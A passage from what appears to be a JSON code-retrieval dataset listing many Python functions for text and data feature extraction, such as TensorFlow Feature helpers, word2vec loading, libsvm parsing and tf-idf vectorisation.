= unpickler.load()\n if version == 0:\n feature = model._state['features']\n model._state['output_column_name'] = 'extracted.' + feature\n return model","def first(word):\n return word[0]","def float_feature(value):\n if not isinstance(value, list) and not isinstance(value, np.ndarray):\n value = [value]\n return tf.train.Feature(float_list=tf.train.FloatList(value=value))","def sort_features_human_friendly_order(tokens, features):\n preferred_ordered_features = []\n\n # Short features last\n features = sorted(features, key=len, reverse=True)\n \n for token in tokens:\n # Iterate from last (shortest features first), and remove in-place*\n for feature in reversed(features):\n # Only add those that begins with current token\n if feature.startswith(token):\n preferred_ordered_features.append(feature)\n features.remove(feature)\n return preferred_ordered_features","def test_regex_featurizer():\n from rasa.nlu.featurizers.sparse_featurizer.regex_featurizer import RegexFeaturizer\n sentence, expected, labeled_tokens = (\n \"hey how are you today\",\n [\n [0.0, 1.0, 0.0],\n [0.0, 0.0, 0.0],\n [0.0, 0.0, 0.0],\n [0.0, 0.0, 0.0],\n [0.0, 0.0, 0.0],\n [0.0, 1.0, 0.0],\n ],\n [0],\n )\n patterns = [\n {\"pattern\": \"[0-9]+\", \"name\": \"number\", \"usage\": \"intent\"},\n {\"pattern\": \"\\\\bhey*\", \"name\": \"hello\", \"usage\": \"intent\"},\n {\"pattern\": \"[0-1]+\", \"name\": \"binary\", \"usage\": \"intent\"},\n ]\n ftr = RegexFeaturizer({}, known_patterns=patterns)\n\n # adds tokens to the message\n tokenizer = SpacyTokenizer({})\n message = Message(sentence, data={RESPONSE: sentence})\n assert show_message(message, False) == {\n \"response\": \"hey how are you today\",\n \"text\": \"hey how are you today\"\n }\n message.set(SPACY_DOCS[TEXT], spacy_nlp(sentence))\n tokenizer.process(message)\n # assert show_message(message) == {'response': 'hey how are you today', 'text_spacy_doc': spacy_nlp(\"hey how are you today\"),\n # 'tokens': ['hey', 'how', 'are', 'you', 'today', '__CLS__'],\n # 'text': 'hey how are you today'}\n # result = ftr._features_for_patterns(message, TEXT)\n ftr.process(message) # [TEXT, RESPONSE]\n show_message(message)\n assert len(message.get(TOKENS_NAMES[TEXT], [])) > 0","def stripFeat(s):\n if \" Featuring\" in s:\n return s[: s.index(\" Featuring\")]\n elif \" x \" in s:\n return s[: s.index(\" x \")]\n else:\n return s","def extract_linear_strings(self): \n # there are at least three choices of how greedy to be.\n # min: each edge is its own feature\n # max: extract features as long as possible, and allow for 'T' junctions.\n # mid: break features at nodes with degree>2.\n # go with mid\n strings=[]\n edge_marks=np.zeros( self.Nedges(),'b1')\n\n for j in self.valid_edge_iter():\n if edge_marks[j]:\n continue\n edge_marks[j]=True\n\n trav=tuple(self.edges['nodes'][j])\n node_fwd=self.edges['nodes'][j,1]\n node_rev=self.edges['nodes'][j,0]\n\n node_string=[node_fwd,node_rev]\n\n for trav in [ (node_fwd,node_rev),\n (node_rev,node_fwd) ]:\n while 1:\n js = self.node_to_edges(trav[1])\n\n if len(js)!=2:\n break\n\n for j in js:\n jnodes=self.edges['nodes'][j]\n if trav[0] in jnodes:\n continue\n if edge_marks[j]:\n # possible if we go all the way around a ring.\n break\n edge_marks[j]=True\n nxt=[n for n in jnodes if n!=trav[1]][0]\n node_string.append(nxt)\n trav=(trav[1],nxt)\n node_string=node_string[::-1]\n\n feat_nodes=np.array( node_string )\n strings.append( feat_nodes )\n return strings","def parse_single_example_v2(\n serialized, features, example_names=None, name=None\n ):\n if not features:\n raise ValueError(\"Invalid argument: features cannot be None.\")\n with ops.name_scope(name, \"ParseSingleExample\", [serialized, example_names]):\n serialized = ops.convert_to_tensor(serialized, name=\"serialized\")\n serialized = _assert_scalar(serialized, \"serialized\")\n return parse_example_v2(serialized, features, example_names, name)","def get_vect(word, model, method):\n if method == \"model\":\n try:\n return model.wv[word]\n except KeyError:\n return None\n else:\n try:\n return model[word]\n except KeyError:\n return None","def _getNewFeatures( self, sFeatures ):\n\n\t\ttry:\n\t\t\trgsFeature = []\n\t\t\trgsPosType = []\n\n\t\t\tfor s in sFeatures.split( ',' ):\n\t\t\t\tif s == 'jws':\n\t\t\t\t\trgsFeature.append( 'pos' )\n\t\t\t\t\trgsPosType.append( 'jws_apex' )\n\t\t\t\tif s == 'lpr':\n\t\t\t\t\trgsFeature.append( 'lpr' )\n\t\t\t\t\trgsPosType.append( 'license_plate_recognition' )\n\t\t\t\tif ( s == 'valve' or s == 'scale' ) and ('jws_anti_theft' not in rgsFeature):\n\t\t\t\t\trgsFeature.append( 'jws_anti_theft' )\n\t\t\t\tif s == 'vscale':\n\t\t\t\t\trgsFeature.append( 'jws_cloud' )\n\t\t\t\tif s == 'pos':\n\t\t\t\t\tfor sPos in [ 'aloha','subway','debug','retail_pro','polewatcher','verifone','micros','drb','restaurant_manager','cap_retail','focus_pos','positouch','hme_zoom_drive_timer','tanklogix','ecrs' ]:\n\t\t\t\t\t\trgsPosType.append( sPos )\n\n\t\t\treturn ( \",\".join( rgsFeature ), \",\".join( rgsPosType ) )\n\n\t\texcept Exception, e:\n\t\t\terrMsg( 'error while mapping old features to new features' )\n\t\t\terrMsg( e )\n\t\t\treturn ( '', '' )","def format_arg_features(features):\n\n features = features.replace(\" \", \"\")\n features = features.replace(\"[\", \"\")\n features = features.replace(\"]\", \"\")\n\n # Remove quotation and double quotation marks\n features = features.replace(\"'\", \"\")\n features = features.replace('\"', \"\")\n\n # Split by comma\n list_of_features = features.rsplit(\",\")\n\n return list_of_features","def data_mining_features(index,input_string_x1,input_string_x2,vocab_word2index,word_vec_fasttext_dict,word_vec_word2vec_dict,tfidf_dict,n_gram=8):\r\n input_string_x1=input_string_x1.decode(\"utf-8\")\r\n input_string_x2 = input_string_x2.decode(\"utf-8\")\r\n #1. get blue score vector\r\n feature_list=[]\r\n #get blue score with n-gram\r\n for i in range(n_gram):\r\n x1_list=split_string_as_list_by_ngram(input_string_x1,i+1)\r\n x2_list = split_string_as_list_by_ngram(input_string_x2, i + 1)\r\n blue_score_i_1 = compute_blue_ngram(x1_list,x2_list)\r\n blue_score_i_2 = compute_blue_ngram(x2_list,x1_list)\r\n feature_list.append(blue_score_i_1)\r\n feature_list.append(blue_score_i_2)\r\n\r\n #2. get length of questions, difference of length\r\n length1=float(len(input_string_x1))\r\n length2=float(len(input_string_x2))\r\n length_diff=(float(abs(length1-length2)))/((length1+length2)/2.0)\r\n feature_list.append(length_diff)\r\n\r\n #3. how many words are same, how many words are unique\r\n sentence_diff_overlap_features_list=get_sentence_diff_overlap_pert(index,input_string_x1,input_string_x2)\r\n feature_list.extend(sentence_diff_overlap_features_list)\r\n\r\n #4. question 1,2 start with how/why/when\r\n #how_why_feature_list=get_special_start_token(input_string_x1,input_string_x2,special_start_token)\r\n #print(\"how_why_feature_list:\",how_why_feature_list)\r\n #feature_list.extend(how_why_feature_list)\r\n\r\n #5.edit distance\r\n edit_distance=float(edit(input_string_x1, input_string_x2))/30.0\r\n feature_list.append(edit_distance)\r\n\r\n #6.cos distance from sentence embedding\r\n x1_list=token_string_as_list(input_string_x1, tokenize_style='word')\r\n x2_list = token_string_as_list(input_string_x2, tokenize_style='word')\r\n distance_list_fasttext = cos_distance_bag_tfidf(x1_list, x2_list, word_vec_fasttext_dict, tfidf_dict)\r\n distance_list_word2vec = cos_distance_bag_tfidf(x1_list, x2_list, word_vec_word2vec_dict, tfidf_dict)\r\n #distance_list2 = cos_distance_bag_tfidf(x1_list, x2_list, word_vec_fasttext_dict, tfidf_dict,tfidf_flag=False)\r\n #sentence_diffence=np.abs(np.subtract(sentence_vec_1,sentence_vec_2))\r\n #sentence_multiply=np.multiply(sentence_vec_1,sentence_vec_2)\r\n feature_list.extend(distance_list_fasttext)\r\n feature_list.extend(distance_list_word2vec)\r\n #feature_list.extend(list(sentence_diffence))\r\n #feature_list.extend(list(sentence_multiply))\r\n return feature_list","def encode_features(self, X_str, needs_fit=True, keep_ids=False):\n # encoding while preserving ids, used only for importance computation\n # and not during training\n if keep_ids is True and isinstance(X_str, str):\n X_str = self.tokenizer.tokenize(X_str, keep_ids=True)\n # needs_fit will be set to true if encoder is not already trained\n if needs_fit is True:\n self.vectorizer.fit(X_str)\n if isinstance(X_str, str):\n X_str = [X_str]\n X_vec = self.vectorizer.transform(X_str)\n return [X_vec, self.vectorizer]","def make_best_vector(cls, vector: _LevenshteinVector, sensitivity: int) -> Optional[_LevenshteinVector]:\n\n # collect all unique searchwords in vector:\n initial_vector = vector.get_vector()\n if initial_vector is None:\n return None\n else:\n searchwords = set(score.comparandum.get_pref_label() for score in initial_vector)\n\n # choose best (=lowest) score for each seachword:\n best_vector = []\n for word in searchwords:\n scores = [score for score in initial_vector if score.comparandum.get_pref_label() == word]\n best_score = sorted(scores, key=lambda x: x.value)[0]\n # check sensitivity:\n if best_score.value <= sensitivity:\n best_vector.append(best_score)\n\n return _LevenshteinVector(best_vector)","def _bytes_feature(value): \n if isinstance(value, type(tf.constant(0))): \n value = value.numpy() # BytesList won't unpack a string from an EagerTensor.\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))","def get_version_selection(self, category, state_string):\r\n catnode = self[category]\r\n\r\n envd = self._parse_state_string(state_string)\r\n envd = self._normalize_state_dict(envd)\r\n state = envd[catnode]\r\n return state.version,state.classifier","def extract_single_feature_vect(gray):\n\n hist, hog_img = skimHOG(gray)\n reduced = reduce_single_vector_dimension(hist)\n\n return reduced, hog_img","def _bytes_feature(value):\n if isinstance(value, type(tf.constant(0))):\n # BytesList won't unpack a string from an EagerTensor.\n value = value.numpy()\n if isinstance(value, list):\n value = [six.ensure_binary(token) for token in value]\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=value))\n # value = str([six.ensure_text(token, \"utf-8\") for \\\n # token in value]).encode()\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))","def add_feature31(df):\n\n df['feature_31'] = df.feature_21.apply(lambda s: 'None' if s in ['', None] else re.findall(r'[\\w]', s)[0])\n\n return df","def _libsvm_parse_line(libsvm_line):\n tokens = libsvm_line.split()\n qid = int(tokens[1].split(\":\")[1])\n\n features = {_LABEL_FEATURE: float(tokens[0])}\n key_values = [key_value.split(\":\") for key_value in tokens[2:]]\n features.update({key: float(value) for (key, value) in key_values})\n\n return qid, features","def load_word2vec(self, path, binary=True, reserve_zero=True, reserve_oov_token=True):\n self.allow_oov = reserve_oov_token\n self.reserve_zero = reserve_zero\n words = []\n if self.reserve_zero:\n words.append('__ZERO__')\n if self.allow_oov:\n words.append('__OUT_OF_VOCAB__')\n self.oov_index = len(words) - 1\n\n if binary:\n with open(path, 'rb') as f:\n # Get number of vectors and vector size\n # from first line\n num_vectors, vector_size = map(\n int, f.readline().decode('UTF-8').split())\n FLOAT_SIZE = 4\n\n self._matrix = np.zeros(\n [num_vectors + len(words), vector_size], dtype='float32')\n # Assign random vector for OOV token if it exists\n if self.allow_oov:\n self._matrix[self.oov_index] = np.random.randn(vector_size, )\n\n update = words.append # Speedup\n for i in tqdm(range(len(words), num_vectors+len(words))):\n # Reads until a whitespace is found (get a word)\n word = b\"\"\n while True:\n char = f.read(1)\n if char == b\" \":\n break\n word += char\n update(word)\n #Read vector\n vecs = f.read(FLOAT_SIZE * vector_size)\n self._matrix[i] = np.frombuffer(vecs, 'f')\n\n self.vocab = words\n else:\n print(\"This feature is yet to be implemented\")","def choose_best_feature(data_set):\n feature_size = len(data_set[0]) - 1\n base_entropy = calc_entropy(data_set)\n best_info_gain = 0.0; best_feature = -1\n for i in xrange(feature_size):\n feat_list = [eg[i] for eg in data_set]\n unique_values = set(feat_list)\n new_entropy = 0.0\n for value in unique_values:\n sub_ds = splite_dataset(data_set, i, value)\n prob = len(sub_ds) / float(len(data_set))\n new_entropy += prob * calc_entropy(sub_ds)\n info_gain = base_entropy - new_entropy\n if info_gain > best_info_gain:\n best_info_gain = info_gain\n best_feature = i\n\n return best_feature","def select_features(data: AnnData, features: str = None) -> str:\n keyword = \"fmat_\" + str(features) # fmat: feature matrix\n\n if keyword not in data.uns:\n if features is not None:\n assert features in data.var\n fmat = data.X[:, data.var[features].values]\n else:\n fmat = data.X\n\n if issparse(fmat):\n data.uns[keyword] = fmat.toarray()\n else:\n data.uns[keyword] = fmat.copy()\n\n return keyword","def test_require_feature() -> None:\n # Given 'a', this FST will transduce 'a' and 'b'\n # Given 'b', this FST will transduce 'a' and 'b'\n # Given 'c', this FST will reject\n fst = make_fst(\n # 1 -@D.x@-> 5; 5 -0:a-> (2)\n \"1 160 5 0\",\n \"5 0 97 2 0\",\n # 1 -@D.x@-> 6; 6 -0:b-> (2)\n \"1 160 6 0\",\n \"6 0 98 2 0\",\n )\n\n assert set(fst.generate(\"a\")) == {\"a\", \"b\"}\n assert set(fst.generate(\"b\")) == {\"a\", \"b\"}\n assert set(fst.generate(\"c\")) == set()","def getVectorSemanticSBERT(text):\n url = cfg.sbert_vectoriser\n res = requests.post(url, json={'text': text, 'access_key': cfg.vectoriser_access_key})\n res_dictionary = res.json()\n return res_dictionary['vectors']","def test_strings_first_symbol():\n\n first_result = strings_ops.strings_first_symbol(\"Otus\", \"october\")\n assert first_result is True","def add_grist (features):\n assert is_iterable_typed(features, basestring) or isinstance(features, basestring)\n def grist_one (feature):\n if feature [0] != '<' and feature [len (feature) - 1] != '>':\n return '<' + feature + '>'\n else:\n return feature\n\n if isinstance (features, str):\n return grist_one (features)\n else:\n return [ grist_one (feature) for feature in features ]","def get_highly_correlated_feature_names(self):","def any_text_preprocessing(name):\n return hp.choice('%s' % name, [\n [tfidf(name + '.tfidf')],\n ])"],"string":"[\n \"def feature_vector(features, vector):\\n clean_features = set(features)\\n new_features_vector = featurize(vector,clean_features)\\n return new_features_vector\",\n \"def training(string):\\n print(\\\"Training...\\\")\\n vec = create_vector(string)\\n print(\\\"Selecting features...\\\")\\n feature_list = select_features(vec)\\n print(\\\"Done!\\\")\\n return feature_list\",\n \"def convert2libsvm(f_vec):\\n line = ''\\n \\n label = int(f_vec[0])\\n \\n # if you specified a positive label ID in your data for one-versus-all\\n if not (args.ova == None):\\n line += '1' if (str(label-1) == str(args.ova)) else '0'\\n else:\\n line += str(label)\\n \\n # skip zero entries\\n for feat_idx in xrange(2,f_vec.size+1):\\n value = f_vec[feat_idx-1]\\n if args.sparse == 1 and value == 0:\\n continue\\n else:\\n line += (' ' + str(feat_idx-1) + ':' + str(f_vec[feat_idx-1]))\\n \\n return line\",\n \"def select_features(vec):\\n return sorted(vec, key=vec.get, reverse=True)[\\n : min(len(vec), FEATURE_LENGTH)\\n ]\",\n \"def get_genres_vector(genres_str: str):\\n genres = genres_str.split(\\\";\\\")\\n genres_vector = sum([one_hot.transform([[genre]]).toarray() for genre in genres])[0]\\n return genres_vector\",\n \"def _as_bytes_feature(in_string):\\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=[in_string]))\",\n \"def feature_vector1(self, feature_vector1):\\n\\n self._feature_vector1 = feature_vector1\",\n \"def processFeature(prevWord, word, vector):\\n \\n # We add feature whether it exists or not\\n unigram, exists = vector.getUnigram(prevWord)\\n if not exists:\\n vector.addUnigram(prevWord)\\n \\n \\n bigram, exists = vector.getBigram(prevWord, word)\\n if not exists:\\n vector.addBigram(prevWord, word)\",\n \"def _update_feature_vec(fvec, word, tag_ngram):\",\n \"def _float_feature(value):\\n\\treturn tf.train.Feature(float_list=tf.train.FloatList(value=[value]))\",\n \"def parse_feature_value(s,next_index=0):\\n next_index = jump_over_space(s,next_index)\\n start_index = next_index\\n while True:\\n if not s[next_index].isspace():\\n next_index += 1\\n else:\\n break\\n feature_value = s[start_index:next_index]\\n if feature_value == '':\\n feature_value = None\\n feature_value = feature_value.split('/')\\n return (feature_value,next_index)\",\n \"def convert_str_list_to_vector(self, string_list: Tuple[str]) -> numpy.ndarray:\\n if len(string_list) != 4:\\n logger.error(\\\"convert_str_list_to_vector got a too short or long string list: {}. We return a zero-vector!\\\",\\n string_list)\\n return numpy.zeros(shape=(self.word2vec_embedding_size +\\n self.word2vec_embedding_size / 2 +\\n self.word2vec_embedding_size / 3 +\\n self.word2vec_embedding_size / 4,),\\n dtype=\\\"float32\\\"\\n )\\n ret = numpy.zeros(shape=(0,), dtype=\\\"float32\\\")\\n for i, token in enumerate(string_list):\\n logger.trace(\\\"Process the {}. token \\\\\\\"{}\\\\\\\"\\\", (i + 1), string_list[i])\\n ret = numpy.concatenate([ret,\\n numpy.average(\\n numpy.reshape(\\n self.word2vec_dict.get(string_list[i],\\n numpy.negative(\\n numpy.ones(\\n shape=(self.word2vec_embedding_size,),\\n dtype=\\\"float32\\\")\\n )),\\n (int(self.word2vec_embedding_size / (i + 1)), (i + 1))\\n ),\\n axis=1)],\\n axis=0)\\n return ret\",\n \"def _get_seg_features(string):\\n seg_feature = []\\n for word in jieba.cut(string):\\n if len(word) == 1:\\n seg_feature.append(0)\\n else:\\n tmp = [2] * len(word)\\n tmp[0] = 1\\n tmp[-1] = 3\\n seg_feature.extend(tmp)\\n return seg_feature\",\n \"def get_seg_features(string):\\n seg_feature = []\\n\\n for word in jieba.cut(string):\\n if len(word) == 1:\\n seg_feature.append(0)\\n else:\\n tmp = [2] * len(word)\\n tmp[0] = 1\\n tmp[-1] = 3\\n seg_feature.extend(tmp)\\n return seg_feature\",\n \"def clean_feature(f):\\n\\n if f.startswith(\\\"a \\\"):\\n f = f[2:]\\n\\n if f.startswith(\\\"an \\\"):\\n f = f[3:]\\n\\n return str(f)\",\n \"def replace_grist (features, new_grist):\\n assert is_iterable_typed(features, basestring) or isinstance(features, basestring)\\n assert isinstance(new_grist, basestring)\\n # this function is used a lot in the build phase and the original implementation\\n # was extremely slow; thus some of the weird-looking optimizations for this function.\\n single_item = False\\n if isinstance(features, str):\\n features = [features]\\n single_item = True\\n\\n result = []\\n for feature in features:\\n # '<feature>value' -> ('<feature', '>', 'value')\\n # 'something' -> ('something', '', '')\\n # '<toolset>msvc/<feature>value' -> ('<toolset', '>', 'msvc/<feature>value')\\n grist, split, value = feature.partition('>')\\n # if a partition didn't occur, then grist is just 'something'\\n # set the value to be the grist\\n if not value and not split:\\n value = grist\\n result.append(new_grist + value)\\n\\n if single_item:\\n return result[0]\\n return result\",\n \"def _float_feature(value):\\n return tf.train.Feature(float_list=tf.train.FloatList(value=value))\",\n \"def _float_feature(value):\\n return tf.train.Feature(float_list=tf.train.FloatList(value=value))\",\n \"def _float_feature(value):\\n return tf.train.Feature(float_list=tf.train.FloatList(value=value))\",\n \"def string_vector(self):\\n pass\",\n \"def _float_feature(value):\\r\\n return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))\",\n \"def _float_feature(value):\\n return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))\",\n \"def _float_feature(value):\\n return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))\",\n \"def _float_feature(value):\\n return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))\",\n \"def _float_feature(value):\\n if isinstance(value, list):\\n return tf.train.Feature(float_list=tf.train.FloatList(value=value))\\n else:\\n return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))\",\n \"def _float_feature(value):\\n return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))\",\n \"def _float_feature(value):\\n return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))\",\n \"def _float_feature(value):\\n return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))\",\n \"def _float_feature(value):\\n return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))\",\n \"def _float_feature(value):\\n return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))\",\n \"def _float_feature(value):\\n if isinstance(value, list):\\n return tf.train.Feature(float_list=tf.train.FloatList(value=value))\\n return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))\",\n \"def get_feature_vector(cc, img, quiet=False):\\n savefilename = config.get_classifier_featvect_name(cc.d.images[img]) \\n if os.path.isfile(savefilename):\\n print 'load feat_vect %s'%(cc.d.images[img].name)\\n feat_vect = cPickle.load(open(savefilename,'r'))\\n else:\\n feat_vect = compute_feature_vector(cc, img, quiet=quiet)\\n cPickle.dump(feat_vect, open(savefilename,'w'))\\n return feat_vect\",\n \"def _float_feature(value):\\n value = _ensure_list(value)\\n return tf.train.Feature(float_list=tf.train.FloatList(value=value))\",\n \"def from_normalised_string(string):\\n if string[0] == '_':\\n return RealPred.from_normalised_string(string)\\n else:\\n return GPred.from_normalised_string(string)\",\n \"def _float_feature(value):\\n return tf.train.Feature(float_list=tf.train.FloatList(value=[value]))\",\n \"def _float_feature(value):\\n return tf.train.Feature(\\n float_list=tf.train.FloatList(value=value))\",\n \"def creating_feature_vector():\\r\\n\\twordlist = []\\r\\n\\tlabel = \\\"\\\"\\r\\n\\tfw = open(\\\"feature_vector.txt\\\", \\\"w+\\\", encoding = \\\"utf-8\\\")\\r\\n\\twith open(\\\"D:\\\\\\\\Python_Prac\\\\\\\\wordstag\\\\\\\\modules\\\\\\\\HI_EN_TRAIN.txt\\\", \\\"r\\\", encoding = \\\"utf-8\\\") as f:\\r\\n\\t\\tfor line in f:\\r\\n\\t\\t\\twordlist.append(line)\\r\\n\\t\\tfor index, line in enumerate(wordlist):\\r\\n\\t\\t\\tif line == \\\"\\\\n\\\":\\r\\n\\t\\t\\t\\tcontinue\\r\\n\\t\\t\\tcontext = line.split(\\\"\\\\t\\\")\\r\\n\\t\\t\\tlabel = context[1]\\r\\n\\t\\t\\tfeature_vector = label+\\\" \\\"\\r\\n\\t\\t\\tngram_vector = ngram_frequency(str(context[0]))\\r\\n\\t\\t\\tfor vector in ngram_vector:\\r\\n\\t\\t\\t\\tfeature_vector += str(vector)+\\\" \\\"\\r\\n\\t\\t\\tfeature_vector += str(is_english(context[0]))+\\\" \\\"\\r\\n\\t\\t\\tfeature_vector += str(is_hindi(context[0]))+\\\" \\\"\\r\\n\\t\\t\\tfeature_vector += str(is_abbr(context[0]))+\\\" \\\"\\r\\n\\t\\t\\tfeature_vector += str(med_in_english(context[0]))+\\\" \\\"\\r\\n\\t\\t\\tfeature_vector += str(med_in_hindi(context[0]))+\\\" \\\"\\r\\n\\t\\t\\tbefore = [0,0,0]\\r\\n\\t\\t\\tafter = [0,0,0]\\r\\n\\t\\t\\tfor i in range(3):\\r\\n\\t\\t\\t\\tif (index-i) < 0 or (index-i+1) > len(wordlist)-1:\\r\\n\\t\\t\\t\\t\\tcontinue\\r\\n\\t\\t\\t\\tbefore[2-i] = get_word_context(wordlist[index-i+1].split(\\\"\\\\t\\\")[0])\\r\\n\\t\\t\\tfor i in range(3):\\r\\n\\t\\t\\t\\tif (index+i+1) > len(wordlist)-1:\\r\\n\\t\\t\\t\\t\\tcontinue\\r\\n\\t\\t\\t\\tafter[2-i] = get_word_context(wordlist[index+i+1].split(\\\"\\\\t\\\")[0])\\r\\n\\t\\t\\tfor i in before:\\r\\n\\t\\t\\t\\tfeature_vector += str(i)+\\\" \\\"\\r\\n\\t\\t\\tfor i in after:\\r\\n\\t\\t\\t\\tfeature_vector += str(i)+\\\" \\\"\\r\\n\\t\\t\\tfeature_vector += \\\"\\\\n\\\"\\r\\n\\t\\t\\tfw.write(feature_vector)\\r\\n\\t\\t\\tprint(\\\"Proceeding...\\\"+str(index+1)+\\\" of 16683\\\")\\r\\n\\r\\n\\tfw.close()\",\n \"def string_feature(ds, feature: str, verbosity=0, dim=\\\"sample\\\", numeric_dis=True):\\n t = get_annotation_table(ds, dim)\\n ser = t[feature]\\n dt = ser.dtype\\n descript = \\\"\\\"\\\"\\\"\\\"\\\"\\n\\n non_null_ser = ser[ser.notnull()]\\n null_flag = len(non_null_ser) < len(ser)\\n levels = list(set(non_null_ser.values))\\n num_levels = len(levels)\\n\\n if dt == pd.StringDtype():\\n\\n if num_levels >= 50:\\n descript += f\\\"\\\"\\\"\\nSorry, {feature} is a String feature with too many factor levels \\n(n = {num_levels}) to describe, here \\n\\\"\\\"\\\"\\n\\n elif num_levels < 50 and num_levels >= 2:\\n descript += f\\\"\\\"\\\"\\n{feature}: {dt} Feature\\n-------------------------\\n\\nFactor level counts df:\\n\\n{non_null_ser.value_counts()}\\n\\n\\nSome example query statements:\\n------------------------------\\n\\n{feature} in ['{levels[0]}', '{levels[1]}', ...]\\n\\n{feature} not in ['{levels[0]}', '{levels[-1]}', ...]\\n\\n{feature} != '{levels[-2]}'\\n\\\"\\\"\\\"\\n\\n else:\\n descript += f\\\"\\\"\\\"\\nThere's only a single factor level, {levels[0]}, across all samples.\\n\\\"\\\"\\\"\\n\\n elif dt == pd.BooleanDtype():\\n descript += f\\\"\\\"\\\"\\n{feature}: {dt} Feature:\\n---------------------------\\n\\nFactor level counts df:\\n\\n{non_null_ser.value_counts()}\\n\\n\\nSome example query statements:\\n------------------------------\\n\\n{feature} == True\\n\\n{feature} == False\\n\\\"\\\"\\\"\\n\\n elif dt == pd.Int64Dtype() or dt == pd.Float64Dtype():\\n if num_levels == 1:\\n descript += f\\\"\\\"\\\"\\nThere's only a single factor level, {levels[0]}, across all samples.\\n\\\"\\\"\\\"\\n\\n elif (num_levels > 1) and (not numeric_dis):\\n descript += f\\\"\\\"\\\"\\n{feature}: {dt} Feature\\n-------------------------\\n\\nFactor level counts df:\\n\\n{non_null_ser.value_counts()}\\n\\n\\nSome example query statements:\\n------------------------------\\n\\n{feature} in [{levels[0]}, {levels[1]}, ...]\\n\\n{feature} not in [{levels[0]}, {levels[-1]}, ...]\\n\\n{feature} != {levels[-2]}\\n\\\"\\\"\\\"\\n else:\\n des = ser.describe()\\n descript += f\\\"\\\"\\\"\\n{feature}: {dt} Feature:\\n---------------------------\\n\\ndistribution of numerical feature:\\n\\n{des}\\n\\nSome example query statements:\\n------------------------------\\n\\n{feature} >= {int(des[1])}\\n\\n{feature} <= {int(des[1])}\\n\\n({feature} >= {int(des[4])}) and ({feature} <= {int(des[5])})\\n\\\"\\\"\\\"\\n\\n else:\\n descript += f\\\"\\\"\\\"\\n{feature}: {dt} Feature\\n-------------------------\\n\\nFactor level counts df:\\n\\n{non_null_ser.value_counts()}\\n\\n\\nSome example query statements:\\n------------------------------\\n\\n{feature} in ['{levels[0]}', '{levels[1]}', ...]\\n\\n{feature} not in ['{levels[0]}', '{levels[-1]}', ...]\\n\\n{feature} != '{levels[-2]}'\\n\\\"\\\"\\\"\\n\\n if null_flag:\\n descript += f\\\"\\\"\\\"\\n{feature}.isnull()\\n\\n{feature}.notnull()\\n\\\"\\\"\\\"\\n\\n return descript\",\n \"def parse_single_example(serialized, features, name=None, example_names=None):\\n return parse_single_example_v2(serialized, features, example_names, name)\",\n \"def _float_feature(value):\\n feature = tf.train.Feature(\\n float_list=tf.train.FloatList(value=value)\\n )\\n return feature\",\n \"def parse_version(vstring):\\n try:\\n version = StrictVersion(vstring)\\n except ValueError:\\n logging.getLogger('ipvs.common.debug').info('Strict parsing failed, falling back to LooseVersion instead')\\n version = LooseVersion(vstring)\\n version.version = tuple(version.version)\\n\\n return version\",\n \"def _parseFeature(self, name, value=None):\\n supported = self._parse([(name, value)])\\n return supported.getFeature(name)\",\n \"def review_to_vec(words, model, num_features , index2word_set):\\n \\n feature_vec = np.zeros((num_features), dtype=\\\"float32\\\")\\n word_count = 0\\n \\n \\n \\n for word in words:\\n if word in index2word_set: \\n word_count += 1\\n feature_vec += model[word]\\n\\n if word_count == 0:\\n word_count = 1\\n\\n feature_vec /= word_count\\n\\n return feature_vec\",\n \"def _bytes_feature(value: str) -> tf.train.Features.FeatureEntry:\\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))\",\n \"def get_vector(word, model):\\n return model.wv[word]\",\n \"def get_text_feature(texts,\\n labels=None,\\n nrow_train=None,\\n vec='bow',\\n lowercase=False,\\n analyzer='word',\\n single_token=True,\\n ngram_range=(1, 1),\\n stop_words=None,\\n min_df=2,\\n binary=True,\\n select_k=None):\\n from sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer\\n from sklearn.feature_selection import SelectKBest, chi2\\n\\n # keep single char as word\\n if single_token:\\n token_pattern = r\\\"\\\\b\\\\w+\\\\b\\\"\\n else:\\n token_pattern = r\\\"(?u)\\\\b\\\\w\\\\w+\\\\b\\\"\\n\\n # choose vec\\n if vec is 'bow':\\n vec = CountVectorizer(\\n lowercase=lowercase,\\n analyzer=analyzer,\\n ngram_range=ngram_range,\\n stop_words=stop_words,\\n min_df=min_df,\\n token_pattern=token_pattern,\\n binary=binary)\\n elif vec is 'tfidf':\\n vec = TfidfVectorizer(\\n lowercase=lowercase,\\n analyzer=analyzer,\\n ngram_range=ngram_range,\\n stop_words=stop_words,\\n min_df=min_df,\\n token_pattern=token_pattern,\\n sublinear_tf=True)\\n else:\\n raise ValueError('vec must be bow or tfidf!')\\n\\n # get word vector\\n feature = vec.fit_transform(texts)\\n feature_names = vec.get_feature_names()\\n\\n # feature select\\n if (labels is not None) and (select_k is not None):\\n if nrow_train is not None:\\n x_train = feature[:nrow_train, :]\\n x_test = feature[nrow_train:, :]\\n y_train = labels[:nrow_train]\\n\\n feature_selector = SelectKBest(chi2, k=select_k)\\n x_train = feature_selector.fit_transform(x_train, y_train)\\n feature_names = np.array(feature_names)[feature_selector.get_support()]\\n\\n x_test = feature_selector.transform(x_test)\\n\\n # combine train test\\n import scipy.sparse as sp\\n feature = sp.vstack([x_train, x_test])\\n\\n else:\\n feature_selector = SelectKBest(chi2, k=select_k)\\n feature = feature_selector.fit_transform(feature, labels)\\n feature_names = np.array(feature_names)[feature_selector.get_support()]\\n\\n return feature, list(feature_names)\",\n \"def default_version_splitter(instring):\\n return instring.split()[-1]\",\n \"def getSentenceFeature(tokens, wordVectors, sentence):\\n # Implement computation for the sentence features given a sentence. \\n \\n # Inputs: \\n # - tokens: a dictionary that maps words to their indices in \\n # the word vector list \\n # - wordVectors: word vectors (each row) for all tokens \\n # - sentence: a list of words in the sentence of interest \\n\\n 